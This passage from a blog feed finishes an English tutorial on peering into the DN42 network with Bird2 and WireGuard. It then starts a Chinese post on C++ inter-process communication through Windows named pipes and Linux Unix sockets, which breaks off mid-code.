define OWNNETSETv6 = [ &amp;lt;DN42 IPv6 Block, CIDR Format&amp;gt;+ ];

router id OWNIP;

protocol device {
    scan time 10;
}

function is_self_net() {
    return net ~ OWNNETSET;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

function is_valid_network() {
    return net ~ [
        172.20.0.0/14{21,29}, # dn42
        172.20.0.0/24{28,32}, # dn42 Anycast
        172.21.0.0/24{28,32}, # dn42 Anycast
        172.22.0.0/24{28,32}, # dn42 Anycast
        172.23.0.0/24{28,32}, # dn42 Anycast
        172.31.0.0/16+,       # ChaosVPN
        10.100.0.0/14+,       # ChaosVPN
        10.127.0.0/16{16,32}, # neonetwork
        10.0.0.0/8{15,24}     # Freifunk.net
    ];
}

function is_valid_network_v6() {
  return net ~ [
    fd00::/8{44,64} # ULA address space as per RFC 4193
  ];
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol kernel {
    scan time 20;

    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIP;
            accept;
        };
    };
}

protocol static {
    route OWNNET reject;

    ipv4 {
        import all;
        export none;
    };
}

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

include &quot;rpki.conf&quot;;
include &quot;ebgp.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the &lt;code&gt;OWNIP&lt;/code&gt; and &lt;code&gt;OWNIPV6&lt;/code&gt; parameters refer to the DN42 IPv4 and IPv6 addresses assigned to this machine, not the address of the block. For example, if I obtained the address segment &lt;code&gt;172.20.234.224/28&lt;/code&gt; and assigned &lt;code&gt;172.20.234.225&lt;/code&gt; to machine A, then OWNIP is &lt;code&gt;172.20.234.225&lt;/code&gt;. The same applies to IPv6.&lt;/p&gt;
&lt;h3&gt;rpki.conf&lt;/h3&gt;
&lt;p&gt;You might have seen other tutorials using cron jobs + reloading Bird to update ROAs. Configuring RPKI here is another way to configure ROAs.&lt;/p&gt;
&lt;p&gt;Create &lt;code&gt;/etc/bird/rpki.conf&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote &quot;&amp;lt;rpki server address&amp;gt;&quot; port 8082; # change it
    refresh 30;
    retry 5;
    expire 600;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the RPKI server, you can use the service provided by my friend&apos;s AkaereIX: &lt;code&gt;rpki.akae.re&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;roa4 table dn42_roa;
roa6 table dn42_roa_v6;

protocol rpki dn42_rpki_akix {
    roa4 { table dn42_roa; };
    roa6 { table dn42_roa_v6; };
    remote &quot;rpki.akae.re&quot; port 8082;
    refresh 30;
    retry 5;
    expire 600;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ebgp.conf&lt;/h3&gt;
&lt;p&gt;Create &lt;code&gt;/etc/bird/ebgp.conf&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() &amp;amp;&amp;amp; !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print &quot;[dn42] ROA check failed for &quot;, net, &quot; ASN &quot;, bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };

        export filter {
            if is_valid_network() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };

    ipv6 {
        import filter {
            if is_valid_network_v6() &amp;amp;&amp;amp; !is_self_net_v6() then {
                if (roa_check(dn42_roa_v6, net, bgp_path.last) != ROA_VALID) then {
                    print &quot;[dn42] ROA check failed for &quot;, net, &quot; ASN &quot;, bgp_path.last;
                    reject;
                }
                accept;
            }
            reject;
        };
        export filter {
            if is_valid_network_v6() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then accept;
            reject;
        };
        import limit 1000 action block;
    };
}


include &quot;peers/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This configuration defines a template for peering within DN42 and references all configuration files under &lt;code&gt;/etc/bird/peers&lt;/code&gt;. Later, when we peer, we only need to create configuration files here according to the template and write them.&lt;/p&gt;
&lt;p&gt;Create the &lt;code&gt;/etc/bird/peers&lt;/code&gt; folder for subsequent peering.&lt;/p&gt;
&lt;h1&gt;System Configuration&lt;/h1&gt;
&lt;h2&gt;Kernel&lt;/h2&gt;
&lt;p&gt;Because each node may act as a router for other nodes, Linux kernel packet forwarding needs to be enabled. Also, because WireGuard is used, which doesn&apos;t forward through physical network cards, the &lt;code&gt;rp_filter&lt;/code&gt; strict mode needs to be disabled.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;net.ipv4.ip_forward=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.default.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv6.conf.all.forwarding=1&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.default.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
echo &quot;net.ipv4.conf.all.rp_filter=0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf
sysctl -p
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DN42 Virtual Network Interface&lt;/h2&gt;
&lt;p&gt;Because MP-BGP typically uses LLA addresses to establish BGP sessions, we need to set up a dummy network interface in the system and bind the DN42 IP we assigned to this machine. Run the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link add dn42 type dummy
ip addr add &amp;lt;DN42 IPv4 assigned to this machine&amp;gt; dev dn42
ip addr add &amp;lt;DN42 IPv6 assigned to this machine&amp;gt; dev dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If persistent configuration is needed, you can refer to the following three methods:&lt;/p&gt;
&lt;h3&gt;systemd-networkd&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tee /etc/systemd/network/10-dn42.netdev &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
[NetDev]
Name=dn42
Kind=dummy
EOF

tee /etc/systemd/network/20-dn42.network &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
[Match]
Name=dn42

[Network]
Address=&amp;lt;DN42 IPv4 assigned to this machine&amp;gt;/32
Address=&amp;lt;DN42 IPv6 assigned to this machine&amp;gt;/128
EOF

systemctl enable systemd-networkd
systemctl restart systemd-networkd
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;netplan&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tee /etc/netplan/99-dn42.yaml &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
network:
  version: 2
  renderer: networkd
  ethernets:
    dn42:
      match:
        name: dn42
      addresses:
        - &amp;lt;DN42 IPv4 assigned to this machine&amp;gt;/32
        - &quot;&amp;lt;DN42 IPv6 assigned to this machine&amp;gt;/128&quot;
      accept-ra: no
EOF

netplan apply
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/etc/network/interfaces&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;tee -a /etc/network/interfaces &amp;gt; /dev/null &amp;lt;&amp;lt;EOF
auto dn42
iface dn42 inet static
    address &amp;lt;DN42 IPv4 assigned to this machine&amp;gt;
    netmask 255.255.255.255

iface dn42 inet6 static
    address &amp;lt;DN42 IPv6 assigned to this machine&amp;gt;/128
EOF

ifup dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Peering with Other Members&lt;/h1&gt;
&lt;p&gt;A user-friendly option for beginners is Potat0&apos;s self-service peering service. For details, refer to his &lt;a href=&quot;https://dn42.potat0.cc/&quot;&gt;DN42 Network&lt;/a&gt; page. Follow the instructions to find his &lt;a href=&quot;https://t.me/Potat0_DN42_Bot&quot;&gt;Automatic Peering Bot&lt;/a&gt;, register your account with the bot by providing your DN42 ASN, the email recorded in the Maintainer during registration above (this is why it&apos;s best to fill in the email during registration, as many verification services use it), and receive the verification code with that email. Then, follow the bot&apos;s requirements to establish the peer.&lt;/p&gt;
&lt;h2&gt;Install WireGuard&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;apt install wireguard wireguard-tools -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: Modern package managers usually automatically install &lt;code&gt;wireguard-tools&lt;/code&gt; when installing wireguard to use the &lt;code&gt;wg-quick&lt;/code&gt; command.&lt;/p&gt;
&lt;h2&gt;Generate Key Pair&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;wg genkey | tee privatekey | wg pubkey &amp;gt; publickey
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note down the contents of privatekey and publickey, representing the private and public keys respectively.&lt;/p&gt;
&lt;h2&gt;Establishing a Peer&lt;/h2&gt;
&lt;p&gt;Generally, there are two modes for establishing a peer: using MP-BGP (Multiprotocol BGP) and not using MP-BGP. Personally, I find MP-BGP more common because its configuration is relatively simple. The configurations are slightly different, so please refer according to your needs.&lt;/p&gt;
&lt;h3&gt;Using MP-BGP&lt;/h3&gt;
&lt;h4&gt;Exchanging Information with the Peer&lt;/h4&gt;
&lt;p&gt;You need to provide the other party with the following information, and you also need to know the other party&apos;s corresponding information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Public Key&lt;/li&gt;
&lt;li&gt;Public IP Address (non-DN42 address)&lt;/li&gt;
&lt;li&gt;Public WireGuard Port, usually listening on the &lt;strong&gt;last 5 digits&lt;/strong&gt; of the other party&apos;s ASN&lt;/li&gt;
&lt;li&gt;DN42 ASN&lt;/li&gt;
&lt;li&gt;LLA (Link-Local Address), generally &lt;code&gt;fe80::&amp;lt;last 4 digits of peer&apos;s ASN&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Whether ENH (Extended Next Hop) is supported. Note: If using v6 to exchange routes without enabling ENH, v4 routes cannot be exchanged.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sometimes the public IP address and public WG port are combined and called the Endpoint.&lt;/p&gt;
&lt;h4&gt;Configuring WireGuard&lt;/h4&gt;
&lt;p&gt;Create a configuration file under &lt;code&gt;/etc/wireguard&lt;/code&gt;. The name is arbitrary, but my naming convention is &lt;code&gt;dn42-&amp;lt;last 4 digits of peer&apos;s ASN&amp;gt;.conf&lt;/code&gt;, where dn42-xxxx is the tunnel name. Fill the file with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;Private key generated in the &quot;Generate Key Pair&quot; section above&amp;gt;
ListenPort = &amp;lt;Public WireGuard Listen Port&amp;gt;
Table = off
Address = &amp;lt;Your LLA Address&amp;gt;/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;Peer&apos;s Public Key&amp;gt;
Endpoint = &amp;lt;Peer&apos;s Endpoint, i.e., IP:Port&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After editing and saving, run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wg-quick up &amp;lt;Tunnel Name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will start the WG tunnel. Use &lt;code&gt;wg show &amp;lt;Tunnel Name&amp;gt;&lt;/code&gt; to check the connection status. Running &lt;code&gt;wg&lt;/code&gt; directly shows the status of all tunnels.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/06/3182084238.png&quot; alt=&quot;12.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you want the tunnel to start automatically on boot, run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable wg-quick@&amp;lt;Tunnel Name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Configuring the Bird2 Peer Section&lt;/h4&gt;
&lt;p&gt;Create a new file &lt;code&gt;&amp;lt;Name&amp;gt;.conf&lt;/code&gt; under &lt;code&gt;/etc/bird/peers&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &amp;lt;BGP Session Name&amp;gt; from dnpeers{
    neighbor &amp;lt;Peer&apos;s LLA Address&amp;gt; % &apos;&amp;lt;WireGuard Tunnel Name&amp;gt;&apos; as &amp;lt;Peer&apos;s ASN, without AS prefix&amp;gt;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If Extended Next Hop is used (as negotiated during information exchange above), configure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &amp;lt;BGP Session Name&amp;gt; from dnpeers{
    neighbor &amp;lt;Peer&apos;s LLA Address&amp;gt; % &apos;&amp;lt;WireGuard Tunnel Name&amp;gt;&apos; as &amp;lt;Peer&apos;s ASN, without AS prefix&amp;gt;;
    ipv4{
        extended next hop;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Applying Configuration&lt;/h4&gt;
&lt;p&gt;Run &lt;code&gt;birdc configure&lt;/code&gt; (or &lt;code&gt;birdc c&lt;/code&gt;, equivalent) to reload the Bird configuration, then run &lt;code&gt;birdc show protocols&lt;/code&gt; (or &lt;code&gt;birdc s p&lt;/code&gt;, equivalent) to view the currently established BGP connections.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@hkg2-202501092021514df2f0:~# birdc show protocols
BIRD 2.0.12 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     07:24:14.255  
static1    Static     dn42_roa   up     07:24:14.255  
static2    Static     dn42_roa_v6 up     07:24:14.255  
kernel1    Kernel     master6    up     07:24:14.255  
kernel2    Kernel     master4    up     07:24:14.255  
static3    Static     master4    up     07:24:14.255  
static4    Static     master6    up     07:24:14.255  
dn42-0298  BGP        ---        up     08:03:13.347  Established   
dn42-1816  BGP        ---        up     07:53:05.028  Established
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Not Using MP-BGP&lt;/h3&gt;
&lt;h4&gt;Exchanging Information with the Peer&lt;/h4&gt;
&lt;p&gt;You need to provide the other party with the following information, and you also need to know the other party&apos;s corresponding information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Public Key&lt;/li&gt;
&lt;li&gt;Public IP Address (non-DN42 address)&lt;/li&gt;
&lt;li&gt;Public WireGuard Port, usually listening on the &lt;strong&gt;last 5 digits&lt;/strong&gt; of the other party&apos;s ASN&lt;/li&gt;
&lt;li&gt;DN42 ASN&lt;/li&gt;
&lt;li&gt;DN42 IP, if exchanging IPv4 routes, an IPv4 address is needed; if exchanging IPv6 routes, an IPv6 address is needed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sometimes the public IP address and public WG port are combined and called the Endpoint.&lt;/p&gt;
&lt;h4&gt;Configuring WireGuard&lt;/h4&gt;
&lt;p&gt;Create a configuration file under &lt;code&gt;/etc/wireguard&lt;/code&gt;. The name is arbitrary, but my naming convention is &lt;code&gt;dn42-&amp;lt;last 4 digits of peer&apos;s ASN&amp;gt;.conf&lt;/code&gt;, where dn42-xxxx is the tunnel name. Fill the file with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;Private key generated in the &quot;Generate Key Pair&quot; section above&amp;gt;
ListenPort = &amp;lt;Public WireGuard Listen Port&amp;gt;
Table = off
PostUp = ip addr add &amp;lt;LLA&amp;gt;/64 dev %i
PostUp = ip addr add &amp;lt;Local DN42 IPv6&amp;gt; dev %i
PostUp = ip addr add &amp;lt;Local DN42 IPv4&amp;gt; peer &amp;lt;Peer&apos;s DN42 IPv4&amp;gt; dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;Peer&apos;s Public Key&amp;gt;
Endpoint = &amp;lt;Peer&apos;s Endpoint, i.e., IP:Port&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After editing and saving, run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wg-quick up &amp;lt;Tunnel Name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will start the WG tunnel. Use &lt;code&gt;wg show &amp;lt;Tunnel Name&amp;gt;&lt;/code&gt; to check the connection status. Running &lt;code&gt;wg&lt;/code&gt; directly shows the status of all tunnels.&lt;/p&gt;
&lt;p&gt;If you want the tunnel to start automatically on boot, run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable wg-quick@&amp;lt;Tunnel Name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Configuring the Bird2 Peer Section&lt;/h4&gt;
&lt;p&gt;Create a new file &lt;code&gt;&amp;lt;Name&amp;gt;.conf&lt;/code&gt; under &lt;code&gt;/etc/bird/peers&lt;/code&gt; and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &amp;lt;v4 BGP Session Name&amp;gt; from dnpeers{
    neighbor &amp;lt;Peer&apos;s DN42 IPv4 Address&amp;gt; as &amp;lt;Peer&apos;s ASN, without AS prefix&amp;gt;;
    direct;
    ipv6{
        import none;
        export none;
    };
};

protocol bgp &amp;lt;v6 BGP Session Name&amp;gt; from dnpeers{
    neighbor &amp;lt;Peer&apos;s DN42 IPv6 Address&amp;gt; % &apos;&amp;lt;WireGuard Tunnel Name&amp;gt;&apos; as &amp;lt;Peer&apos;s ASN, without AS prefix&amp;gt;;
    direct;
    ipv4{
        import none;
        export none;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Applying Configuration&lt;/h4&gt;
&lt;p&gt;Run &lt;code&gt;birdc configure&lt;/code&gt; (or &lt;code&gt;birdc c&lt;/code&gt;, equivalent) to reload the Bird configuration, then run &lt;code&gt;birdc show protocols&lt;/code&gt; (or &lt;code&gt;birdc s p&lt;/code&gt;, equivalent) to view the currently established BGP connections.&lt;/p&gt;
&lt;p&gt;At this point, we have successfully joined the DN42 network. To make the network more stable, we can peer with more users, establishing multiple BGP lines to prevent disconnection if some nodes fail. You can join the &lt;a href=&quot;https://t.me/Dn42Chat&quot;&gt;DN42 Unofficial Telegram Group&lt;/a&gt; for more information.&lt;/p&gt;
&lt;p&gt;If BGP is Established but you cannot Ping internal DN42 IPs, check if the IP set in bird.conf matches the IP assigned to the dummy interface or the local IP in WireGuard.&lt;/p&gt;
&lt;h2&gt;Configuring DNS&lt;/h2&gt;
&lt;p&gt;DN42 has its own public DNS with the anycast address &lt;code&gt;172.20.0.53&lt;/code&gt;, which can also resolve normal internet domains. To access internal domains ending with &lt;strong&gt;.dn42&lt;/strong&gt;, you need to put this address at the top of resolv.conf:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nameserver 172.20.0.53
nameserver 223.5.5.5 # Below are normal DNS server configurations
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After this, you can resolve DN42 internal domain names. Also, commands like &lt;code&gt;ping&lt;/code&gt;, &lt;code&gt;traceroute&lt;/code&gt;, and &lt;code&gt;mtr&lt;/code&gt; will show rDNS resolution results when querying internal IPs.&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;Welcome to peer with me! For details, please visit: &lt;a href=&quot;https://www.iyoroy.cn/dn42.html&quot;&gt;iYoRoy DN42 Network&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://blog.baoshuo.ren/post/dn42-network/&lt;/li&gt;
&lt;li&gt;https://dn42.dev/howto/Bird2#example-configuration&lt;/li&gt;
&lt;li&gt;https://dn42.eu/howto/wireguard&lt;/li&gt;
&lt;li&gt;https://blog.udon.eu.org/archives/dbf21067.html&lt;/li&gt;
&lt;li&gt;https://blog.byteloid.one/2025/06/02/babeld-over-wireguard/&lt;/li&gt;
&lt;li&gt;https://blog.wcysite.com/2021/%E8%B8%A9%E5%9D%91DN42-p2-peer/&lt;/li&gt;
&lt;li&gt;https://blog.chs.pub/p/23-14-joindn42/&lt;/li&gt;
&lt;li&gt;https://www.cnblogs.com/FengZeng666/p/15583434.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>跨平台服务编写日记 Ep.2 进程间通讯（IPC）</title><link>https://blog.iyoroy.cn/posts/52/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/52/</guid><description>继续编写跨平台服务的进程间通信模块：Windows 使用命名管道，Linux 使用 Unix 域套接字，记录监听、发送和清理逻辑，附测试项目。</description><pubDate>Mon, 19 May 2025 03:54:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;上一篇文章实现了统一的日志管理，这篇文章来实现进程间消息通讯，即IPC。&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;在Windows下，主要通过&lt;strong&gt;管道（Pipe）&lt;strong&gt;实现进程间通讯。管道又分为&lt;/strong&gt;命名管道（Named Pipe）&lt;strong&gt;和&lt;/strong&gt;匿名管道（Anonymous Pipe）&lt;/strong&gt;。其中，匿名管道是&lt;strong&gt;单向&lt;/strong&gt;的，通常在父进程和子进程之间通讯&amp;lt;sup&amp;gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/ipc/anonymous-pipes&quot;&gt;[2]&lt;/a&gt;&amp;lt;/sup&amp;gt;。而命名管道则可以是单向管道或双工管道，并且支持一对多通讯&amp;lt;sup&amp;gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipes&quot;&gt;[3]&lt;/a&gt;&amp;lt;/sup&amp;gt;。顾名思义，识别命名管道的唯一方式是它的名称，因此两个进程只要都连接到同一个名字的命名管道即可实现通信。&lt;br /&gt;
我们需要实现进程间的双向通讯，因此采用命名管道。大致思路就是：进程作为伺服模式，也就是接收端启动时创建一个线程，创建一个命名管道并监听管道内消息。当管道被连接时从中读取管道内数据；当进程作为发送端启动时尝试连接到同一个名称的管道，并写入消息内容。&lt;/p&gt;
&lt;h2&gt;Linux&lt;/h2&gt;
&lt;p&gt;在Linux下通常使用&lt;strong&gt;socket&lt;/strong&gt;进行进程间通讯。不过不同于监听端口，进程间通讯一般会选择监听一个&lt;strong&gt;sock文件&lt;/strong&gt;&amp;lt;sup&amp;gt;&lt;a href=&quot;https://blog.csdn.net/dog250/article/details/100998838&quot;&gt;[5]&lt;/a&gt;&amp;lt;/sup&amp;gt;，常见的服务类应用如docker daemon、mysql都是通过这种方式。&lt;br /&gt;
因此，大致思路如下：作为伺服模式启动的进程创建一个socket监听，并等待从中接收消息；发送端连接到socket套接字并发送消息。和上文命名管道的名称类似，socket套接字会映射一个唯一的.sock文件，发送方只要打开这个文件即可发送消息。（实际上打开方式不是常规的打开文件，而是用socket专用的打开方式&amp;lt;sup&amp;gt;&lt;a href=&quot;https://blog.csdn.net/dog250/article/details/100998838&quot;&gt;[5]&lt;/a&gt;&amp;lt;/sup&amp;gt;）&lt;/p&gt;
&lt;h1&gt;代码实现&lt;/h1&gt;
&lt;h2&gt;初始化&lt;/h2&gt;
&lt;p&gt;为了实现共用一套主代码，我使用了和上一篇文章中一样的通过宏定义区分系统类型的方案，将Windows和Linux的代码分别写在&lt;code&gt;service-windows.h&lt;/code&gt;和&lt;code&gt;service-linux.h&lt;/code&gt;两个头文件中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef _WIN32
#include &quot;service-windows.h&quot;
#elif defined(__linux__)
#include &quot;service-linux.h&quot;
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当接收端进程启动时，创建一个线程处理收信息（使用&lt;code&gt;std::thread&lt;/code&gt;作为多线程库）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;thread_bind = std::thread(bind_thread_main);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;监听部分&lt;/h2&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;在Windows下，只要尝试从指定名称的命名管道读取数据即可。其中，因为设置了管道为&lt;strong&gt;等待模式&lt;/strong&gt;（即下文中&lt;code&gt;CreateNamedPipe&lt;/code&gt;的第三个参数&lt;code&gt;DWORD dwPipeMode&lt;/code&gt;中设置了&lt;code&gt;PIPE_WAIT&lt;/code&gt;），&lt;code&gt;ConnectNamedPipe&lt;/code&gt;会是阻塞模式，因此不用担心不断循环造成的性能损失。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void bind_thread_main() {
    while (!exit_requested.load()) {
        HANDLE hPipe = CreateNamedPipe(
            PIPE_NAME,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            1024,  // Output buffer size
            1024,  // Input buffer size
            0,     // Default timeout
            NULL);

        if (hPipe == INVALID_HANDLE_VALUE) {
            service_log.push(LEVEL_WARN, &quot;Failed to create pipe: %d&quot;, GetLastError());
            continue;
        }

        if (ConnectNamedPipe(hPipe, NULL) ||
            GetLastError() == ERROR_PIPE_CONNECTED) {

            char buffer[1024];
            DWORD bytesRead;

            if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &amp;amp;bytesRead, NULL)) {
                buffer[bytesRead] = &apos;\0&apos;;
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, &quot;Message received: %s&quot;, buffer);
            }

            FlushFileBuffers(hPipe);
            DisconnectNamedPipe(hPipe);
            CloseHandle(hPipe);
        }
        else {
            CloseHandle(hPipe);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Linux&lt;/h3&gt;
&lt;p&gt;为了防止创建失败，在创建前会先尝试删除没有清理干净的sock文件，即代码中&lt;code&gt;unlink(SOCKET_PATH)&lt;/code&gt;。&lt;code&gt;SOCKET_PATH&lt;/code&gt;为全局变量，定义了套接字文件的路径。创建套接字时，指定family为&lt;code&gt;AF_UNIX&lt;/code&gt;代表创建UNIX套接字，即.sock文件的这种类型（如果是网络套接字就是&lt;code&gt;AF_INET&lt;/code&gt;）。&lt;code&gt;timeval&lt;/code&gt;这段代码设置了一个超时限制，当&lt;code&gt;accept&lt;/code&gt;函数等待时间超过设置的&lt;code&gt;SOCKET_TIMEOUT&lt;/code&gt;超时时间（单位秒）后会自动结束阻塞并返回错误信息。创建完套接字后按照正常流程设置绑定和监听即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void bind_thread_main() {
    unlink(SOCKET_PATH);

    int server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (server_fd == -1) {
        service_log.push(LEVEL_FATAL, &quot;Failed to create socket&quot;);
        exit_requested.store(true);
        return;
    }

    struct timeval tv;
    tv.tv_sec = SOCKET_TIMEOUT;
    tv.tv_usec = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVTIMEO, &amp;amp;tv, sizeof(tv));

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (bind(server_fd, (sockaddr*)&amp;amp;addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_FATAL, &quot;Bind failed&quot;);
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    if (listen(server_fd, 5) == -1) {
        service_log.push(LEVEL_FATAL, &quot;Listen failed&quot;);
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    while (!exit_requested.load()) {
        int client_fd = accept(server_fd, nullptr, nullptr);
        if (client_fd != -1) {
            char buffer[1024];
            int bytes_read = read(client_fd, buffer, sizeof(buffer) - 1);
            if (bytes_read &amp;gt; 0) {
                buffer[bytes_read] = &apos;\0&apos;;
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, &quot;Message received: %s&quot;, buffer);
            }
            close(client_fd);
        }
        else {
            if (errno == EWOULDBLOCK || errno == EAGAIN) {
                continue;
            }
            service_log.push(LEVEL_WARN, &quot;Failed to accept socket connection&quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当读取到消息后，两份代码都会将消息保存至阻塞队列&lt;code&gt;m_queueMsg&lt;/code&gt;中。&lt;/p&gt;
&lt;h2&gt;发送部分&lt;/h2&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;打开指定管道并写入消息内容即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool send_message(const std::string&amp;amp; msg) {
    if (!WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER)) {
        service_log.push(LEVEL_ERROR, &quot;Failed to find valid pipe: %d&quot;, GetLastError());
        return false;
    }

    HANDLE hPipe = CreateFile(
        PIPE_NAME,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        service_log.push(LEVEL_ERROR, &quot;Failed to connect: %d&quot;, GetLastError());
        return false;
    }

    DWORD bytesWritten;
